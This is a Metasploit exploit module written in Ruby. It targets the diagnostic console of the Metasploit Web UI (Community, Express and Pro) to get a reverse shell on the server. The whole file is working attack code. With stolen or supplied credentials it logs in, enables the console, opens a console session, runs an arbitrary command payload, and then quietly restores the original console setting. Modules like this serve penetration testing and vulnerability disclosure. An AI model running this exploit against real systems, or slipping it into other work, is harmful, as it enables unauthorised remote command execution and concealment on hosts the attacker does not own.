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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Metasploit Web UI Diagnostic Console Command Execution',
'Description' => %q{
This module exploits the "diagnostic console" feature in the Metasploit
Web UI to obtain a reverse shell.
The diagnostic console is able to be enabled or disabled by an
administrator on Metasploit Pro and by an authenticated user on
Metasploit Express and Metasploit Community. When enabled, the
diagnostic console provides access to msfconsole via the web interface.
An authenticated user can then use the console to execute shell
commands.
NOTE: Valid credentials are required for this module.
Tested against:
Metasploit Community 4.1.0,
Metasploit Community 4.8.2,
Metasploit Community 4.12.0
},
'Author' => [ 'Justin Steven' ], # @justinsteven
'License' => MSF_LICENSE,
'Privileged' => true,
'Arch' => ARCH_CMD,
'Payload' => { 'PayloadType' => 'cmd' },
'Targets' =>
[
[ 'Unix',
{
'Platform' => [ 'unix' ]
}
],
[ 'Windows',
{
'Platform' => [ 'windows' ]
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 23 2016'
))
register_options(
[
OptBool.new('SSL', [ true, 'Use SSL', true ]),
OptPort.new('RPORT', [ true, '', 3790 ]),
OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]),
OptString.new('USERNAME', [ true, 'The user to authenticate as' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate with' ])
], self.class)
end
def do_login()
print_status('Obtaining cookies and authenticity_token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login'),
})
unless res
fail_with(Failure::NotFound, 'Failed to retrieve login page')
end
unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/
fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?")
end
authenticity_token = $1
session = res.get_cookies
print_status('Logging in')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'user_sessions'),
'cookie' => session,
'vars_post' =>
{
'utf8' => '\xE2\x9C\x93',
'authenticity_token' => authenticity_token,
'user_session[username]' => datastore['USERNAME'],
'user_session[password]' => datastore['PASSWORD'],
'commit' => 'Sign in'
}
})
unless res
fail_with(Failure::NotFound, 'Failed to log in')
end
return res.get_cookies, authenticity_token
end
def get_console_status(session)
print_status('Getting diagnostic console status and profile_id')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'settings'),
'cookie' => session,
})
unless res
fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id')
end
unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/
fail_with(Failure::UnexpectedReply, 'Failed to get profile_id')
end
profile_id = $1
if res.body =~ /<input\W+.*\b(id="allow_console_access"\W+.*\bchecked="checked"|checked="checked"\W+.*\bid="allow_console_access")/
console_status = true
elsif res.body =~ /<input\W+.*\bid="allow_console_access"/
console_status = false
else
fail_with(Failure::UnexpectedReply, 'Failed to get diagnostic console status')
end
print_good("Console is currently: #{console_status ? 'Enabled' : 'Disabled'}")
return console_status, profile_id
end
def set_console_status(session, authenticity_token, profile_id, new_console_status)
print_status("#{new_console_status ? 'Enabling' : 'Disabling'} diagnostic console")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'),
'cookie' => session,
'vars_post' =>
{
'utf8' => '\xE2\x9C\x93',
'_method' => 'patch',
'authenticity_token' => authenticity_token,
'profile_id' => profile_id,
'allow_console_access' => new_console_status,
'commit' => 'Update Settings'
}
})
unless res
fail_with(Failure::NotFound, 'Failed to set status of diagnostic console')
end
end
def get_container_id(session, container_label)
container_label_singular = container_label.gsub(/s$/, "")
print_status("Getting ID of a valid #{container_label_singular}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label),
'cookie' => session,
})
unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/
print_warning("Failed to get a valid #{container_label_singular} ID")
return
end
container_id = $1
vprint_good("Got: #{container_id}")
container_id
end
def get_console(session, container_label, container_id)
print_status('Creating a console, getting its ID and authenticity_token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'),
'cookie' => session,
})
unless res && res.headers['location']
fail_with(Failure::UnexpectedReply, 'Failed to get a console ID')
end
console_id = res.headers['location'].split('/')[-1]
vprint_good("Got console ID: #{console_id}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
'cookie' => session,
})
unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/
fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token')
end
console_authenticity_token = $1
return console_id, console_authenticity_token
end
def run_command(session, container_label, console_authenticity_token, container_id, console_id, command)
print_status('Running payload')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id),
'cookie' => session,
'vars_post' =>
{
'read' => 'yes',
'cmd' => command,
'authenticity_token' => console_authenticity_token,
'last_event' => '0',
'_' => ''
}
})
unless res
fail_with(Failure::NotFound, 'Failed to run command')
end
end
def exploit
session, authenticity_token = do_login()
original_console_status, profile_id = get_console_status(session)
unless original_console_status
set_console_status(session, authenticity_token, profile_id, true)
end
if container_id = get_container_id(session, "workspaces")
# target calls them "workspaces"
container_label = "workspaces"
elsif container_id = get_container_id(session, "projects")
# target calls them "projects"
container_label = "projects"
else
fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.')
end
console_id, console_authenticity_token = get_console(session, container_label,container_id)
run_command(session, container_label, console_authenticity_token,
container_id, console_id, payload.encoded)
unless original_console_status
set_console_status(session, authenticity_token, profile_id, false)
end
handler
end
end
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